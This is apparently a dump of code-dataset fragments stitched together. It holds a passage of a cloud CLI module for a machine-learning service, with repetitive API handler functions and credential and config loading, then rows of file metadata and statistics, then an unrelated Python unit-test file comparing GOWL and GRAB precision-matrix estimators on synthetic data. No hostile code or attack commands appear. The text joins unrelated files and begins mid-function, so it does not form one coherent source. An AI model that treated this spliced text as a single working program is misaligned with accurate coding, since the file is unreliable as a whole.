FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateCodeRepository(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateCodeRepositoryRequest()
model.from_json_string(json.dumps(args))
rsp = client.CreateCodeRepository(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doUpdateNotebookLifecycleScript(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.UpdateNotebookLifecycleScriptRequest()
model.from_json_string(json.dumps(args))
rsp = client.UpdateNotebookLifecycleScript(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeTrainingJob(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeTrainingJobRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeTrainingJob(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doStopNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.StopNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.StopNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.CreateNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeCodeRepository(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeCodeRepositoryRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeCodeRepository(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateNotebookLifecycleScript(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateNotebookLifecycleScriptRequest()
model.from_json_string(json.dumps(args))
rsp = client.CreateNotebookLifecycleScript(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteCodeRepository(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteCodeRepositoryRequest()
model.from_json_string(json.dumps(args))
rsp = client.DeleteCodeRepository(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeNotebookSummary(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeNotebookSummaryRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeNotebookSummary(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeTrainingJobs(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeTrainingJobsRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeTrainingJobs(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteNotebookLifecycleScript(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteNotebookLifecycleScriptRequest()
model.from_json_string(json.dumps(args))
rsp = client.DeleteNotebookLifecycleScript(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeNotebookInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeNotebookInstanceRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeNotebookInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doUpdateCodeRepository(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.UpdateCodeRepositoryRequest()
model.from_json_string(json.dumps(args))
rsp = client.UpdateCodeRepository(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeNotebookInstances(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeNotebookInstancesRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeNotebookInstances(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateTrainingJob(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateTrainingJobRequest()
model.from_json_string(json.dumps(args))
rsp = client.CreateTrainingJob(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeCodeRepositories(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeCodeRepositoriesRequest()
model.from_json_string(json.dumps(args))
rsp = client.DescribeCodeRepositories(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doStopTrainingJob(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.StopTrainingJobRequest()
model.from_json_string(json.dumps(args))
rsp = client.StopTrainingJob(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
CLIENT_MAP = {
"v20191022": tione_client_v20191022,
}
MODELS_MAP = {
"v20191022": models_v20191022,
}
ACTION_MAP = {
"UpdateNotebookInstance": doUpdateNotebookInstance,
"DescribeNotebookLifecycleScripts": doDescribeNotebookLifecycleScripts,
"StartNotebookInstance": doStartNotebookInstance,
"DeleteNotebookInstance": doDeleteNotebookInstance,
"DescribeNotebookLifecycleScript": doDescribeNotebookLifecycleScript,
"CreatePresignedNotebookInstanceUrl": doCreatePresignedNotebookInstanceUrl,
"CreateCodeRepository": doCreateCodeRepository,
"UpdateNotebookLifecycleScript": doUpdateNotebookLifecycleScript,
"DescribeTrainingJob": doDescribeTrainingJob,
"StopNotebookInstance": doStopNotebookInstance,
"CreateNotebookInstance": doCreateNotebookInstance,
"DescribeCodeRepository": doDescribeCodeRepository,
"CreateNotebookLifecycleScript": doCreateNotebookLifecycleScript,
"DeleteCodeRepository": doDeleteCodeRepository,
"DescribeNotebookSummary": doDescribeNotebookSummary,
"DescribeTrainingJobs": doDescribeTrainingJobs,
"DeleteNotebookLifecycleScript": doDeleteNotebookLifecycleScript,
"DescribeNotebookInstance": doDescribeNotebookInstance,
"UpdateCodeRepository": doUpdateCodeRepository,
"DescribeNotebookInstances": doDescribeNotebookInstances,
"CreateTrainingJob": doCreateTrainingJob,
"DescribeCodeRepositories": doDescribeCodeRepositories,
"StopTrainingJob": doStopTrainingJob,
}
AVAILABLE_VERSION_LIST = [
"v20191022",
]
def action_caller():
return ACTION_MAP
def parse_global_arg(parsed_globals):
g_param = parsed_globals
is_exist_profile = True
if not parsed_globals["profile"]:
is_exist_profile = False
g_param["profile"] = "default"
configure_path = os.path.join(os.path.expanduser("~"), ".tccli")
is_conf_exist, conf_path = Utils.file_existed(configure_path, g_param["profile"] + ".configure")
is_cred_exist, cred_path = Utils.file_existed(configure_path, g_param["profile"] + ".credential")
conf = {}
cred = {}
if is_conf_exist:
conf = Utils.load_json_msg(conf_path)
if is_cred_exist:
cred = Utils.load_json_msg(cred_path)
if not (isinstance(conf, dict) and isinstance(cred, dict)):
raise ConfigurationError(
"file: %s or %s is not json format"
% (g_param["profile"] + ".configure", g_param["profile"] + ".credential"))
if OptionsDefine.Token not in cred:
cred[OptionsDefine.Token] = None
if not is_exist_profile:
if os.environ.get(OptionsDefine.ENV_SECRET_ID) and os.environ.get(OptionsDefine.ENV_SECRET_KEY):
cred[OptionsDefine.SecretId] = os.environ.get(OptionsDefine.ENV_SECRET_ID)
cred[OptionsDefine.SecretKey] = os.environ.get(OptionsDefine.ENV_SECRET_KEY)
cred[OptionsDefine.Token] = os.environ.get(OptionsDefine.ENV_TOKEN)
if os.environ.get(OptionsDefine.ENV_REGION):
conf[OptionsDefine.Region] = os.environ.get(OptionsDefine.ENV_REGION)
for param in g_param.keys():
if g_param[param] is None:
if param in [OptionsDefine.SecretKey, OptionsDefine.SecretId, OptionsDefine.Token]:
if param in cred:
g_param[param] = cred[param]
else:
raise ConfigurationError("%s is invalid" % param)
elif param in [OptionsDefine.Region, OptionsDefine.Output]:
if param in conf:
g_param[param] = conf[param]
else:
raise ConfigurationError("%s is invalid" % param)
try:
if g_param[OptionsDefine.ServiceVersion]:
g_param[OptionsDefine.Version] = "v" + g_param[OptionsDefine.ServiceVersion].replace('-', '')
else:
version = conf["tione"][OptionsDefine.Version]
g_param[OptionsDefine.Version] = "v" + version.replace('-', '')
if g_param[OptionsDefine.Endpoint] is None:
g_param[OptionsDefine.Endpoint] = conf["tione"][OptionsDefine.Endpoint]
except Exception as err:
raise ConfigurationError("config file:%s error, %s" % (conf_path, str(err)))
if g_param[OptionsDefine.Version] not in AVAILABLE_VERSION_LIST:
raise Exception("available versions: %s" % " ".join(AVAILABLE_VERSION_LIST))
return g_param
| 43.726098
| 105
| 0.729849
| 3,764
| 33,844
| 6.325186
| 0.051541
| 0.079889
| 0.225848
| 0.053511
| 0.802587
| 0.794985
| 0.791961
| 0.788936
| 0.784988
| 0.736979
| 0
| 0.009093
| 0.164874
| 33,844
| 773
| 106
| 43.782665
| 0.833251
| 0.007416
| 0
| 0.689349
| 0
| 0
| 0.043942
| 0.011589
| 0
| 0
| 0
| 0
| 0
| 1
| 0.036982
| false
| 0
| 0.017751
| 0.001479
| 0.057692
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
372e734f2bc96b2c515ece1d9e247142d822e603
| 69
|
py
|
Python
|
model_code/__init__.py
|
jmalles/water_terminating_module
|
8c0a6e3a756697296c2426458e3c846336a14ea8
|
[
"BSD-3-Clause"
] | null | null | null |
model_code/__init__.py
|
jmalles/water_terminating_module
|
8c0a6e3a756697296c2426458e3c846336a14ea8
|
[
"BSD-3-Clause"
] | null | null | null |
model_code/__init__.py
|
jmalles/water_terminating_module
|
8c0a6e3a756697296c2426458e3c846336a14ea8
|
[
"BSD-3-Clause"
] | null | null | null |
from model_code.FluxModel import*
from model_code.aux_funcs import *
| 34.5
| 34
| 0.84058
| 11
| 69
| 5
| 0.636364
| 0.327273
| 0.472727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101449
| 69
| 2
| 35
| 34.5
| 0.887097
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
25a7f92e6515e7427684f5919e524a26cb52bd4e
| 11,408
|
py
|
Python
|
tests/test_gowl_vs_grab.py
|
cmazzaanthony/ccgowl
|
31e12579449c296d7581c2838b5d7d7873361b48
|
[
"MIT"
] | 8
|
2019-06-20T17:26:15.000Z
|
2020-08-26T04:19:22.000Z
|
tests/test_gowl_vs_grab.py
|
cmazzaanthony/ccgowl
|
31e12579449c296d7581c2838b5d7d7873361b48
|
[
"MIT"
] | 3
|
2021-03-25T22:42:42.000Z
|
2021-06-01T23:52:14.000Z
|
tests/test_gowl_vs_grab.py
|
cmazzaanthony/ccgowl
|
31e12579449c296d7581c2838b5d7d7873361b48
|
[
"MIT"
] | null | null | null |
import unittest
import numpy as np
from sklearn.metrics import f1_score
import ccgowl.models.grab.GRAB as grab
from ccgowl.data.make_synthetic_data import generate_theta_star_gowl, standardize, Block, generate_synthetic_data
from ccgowl.evaluation.cluster_metrics import spectral_clustering
from ccgowl.evaluation.fit_metrics import error_norm
from ccgowl.models.gowl import GOWLModel
from ccgowl.visualization.visualize import plot_multiple_theta_matrices_2d
def _fit_evaluations(true_theta, theta_hat, clusters, estimator_name):
print(f"""# clusters: {clusters}, MSE: {error_norm(theta_star=true_theta,
theta_hat=theta_hat)} for {estimator_name}""")
print(f"""# clusters: {clusters}, Absolute Error: {error_norm(theta_star=true_theta,
theta_hat=theta_hat,
squared=False)} for {estimator_name}""")
def _cluster_evaluations(y_true, y_hat, estimator_name):
print(f"{estimator_name} F1 Score: {f1_score(y_true, y_hat, average='macro')}")
class TestGRABEstimator(unittest.TestCase):
def test_gowl_vs_grab_1(self):
np.random.seed(680)
p = 10
n_blocks = 1
theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p,
alpha=0.5,
noise=0.1,
n_blocks=n_blocks,
block_min_size=2,
block_max_size=6)
theta_star = theta_star[0]
sigma = np.linalg.inv(theta_star)
n = 100
X = np.random.multivariate_normal(np.zeros(p), sigma, n)
X = standardize(X)
S = np.cov(X.T)
lam1 = 0.001 # controls sparsity
lam2 = 0.01 # encourages equality of coefficients
lmbda = .2
K = 10
o_size = .3 # The size of overlap, as an input parameter
max_iter = 20
tol = 1e-4
dual_max_iter = 600
dual_tol = 1e-4
theta_grab, blocks = grab.BCD(S,
lmbda=lmbda,
K=K,
o_size=o_size,
max_iter=max_iter,
tol=tol,
dual_max_iter=dual_max_iter,
dual_tol=dual_tol)
theta_grab = np.asarray(theta_grab)
model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000)
model.fit()
theta_gowl = model.theta_hat
print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl)))
plot_multiple_theta_matrices_2d([theta_blocks, theta_star, theta_grab, theta_gowl],
[f"1 Block of Size 2", 'True Theta', 'GRAB', 'GOWL'])
_fit_evaluations(theta_star, theta_grab, 1, 'GRAB')
_fit_evaluations(theta_star, theta_gowl, 1, 'GOWL')
y_hat_gowl = spectral_clustering(theta=theta_gowl, K=2)
y_hat_grab = spectral_clustering(theta=theta_grab, K=2)
y_true = spectral_clustering(theta=theta_blocks, K=2).flatten()
_cluster_evaluations(y_true, y_hat_gowl, 'GOWL')
_cluster_evaluations(y_true, y_hat_grab, 'GRAB')
def test_gowl_vs_grab_2(self):
np.random.seed(680)
p = 10
blocks = [
Block(dim=p,
idx=0,
block_min_size=2,
block_max_size=6,
block_value=0.9),
Block(dim=p,
idx=1,
block_min_size=2,
block_max_size=6,
block_value=-0.9),
]
theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p,
alpha=0.5,
noise=0.1,
blocks=blocks)
theta_star = theta_star[0]
sigma = np.linalg.inv(theta_star)
n = 100
X = np.random.multivariate_normal(np.zeros(p), sigma, n)
X = standardize(X)
S = np.cov(X.T)
lam1 = 0.01 # controls sparsity
lam2 = 0.01 # encourages equality of coefficients
lmbda = .2
K = 10
o_size = .3 # The size of overlap, as an input parameter
max_iter = 20
tol = 1e-4
dual_max_iter = 600
dual_tol = 1e-4
theta_grab, blocks = grab.BCD(S,
lmbda=lmbda,
K=K,
o_size=o_size,
max_iter=max_iter,
tol=tol,
dual_max_iter=dual_max_iter,
dual_tol=dual_tol)
theta_grab = np.asarray(theta_grab)
model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000)
model.fit()
theta_gowl = model.theta_hat
print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl)))
plot_multiple_theta_matrices_2d([S, theta_blocks, theta_star, theta_grab, theta_gowl],
['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL'])
_fit_evaluations(theta_star, theta_grab, 1, 'GRAB')
_fit_evaluations(theta_star, theta_gowl, 1, 'GOWL')
y_hat_gowl = spectral_clustering(theta=theta_gowl, K=3)
y_hat_grab = spectral_clustering(theta=theta_grab, K=3)
y_true = spectral_clustering(theta=theta_blocks, K=3).flatten()
_cluster_evaluations(y_true, y_hat_gowl, 'GOWL')
_cluster_evaluations(y_true, y_hat_grab, 'GRAB')
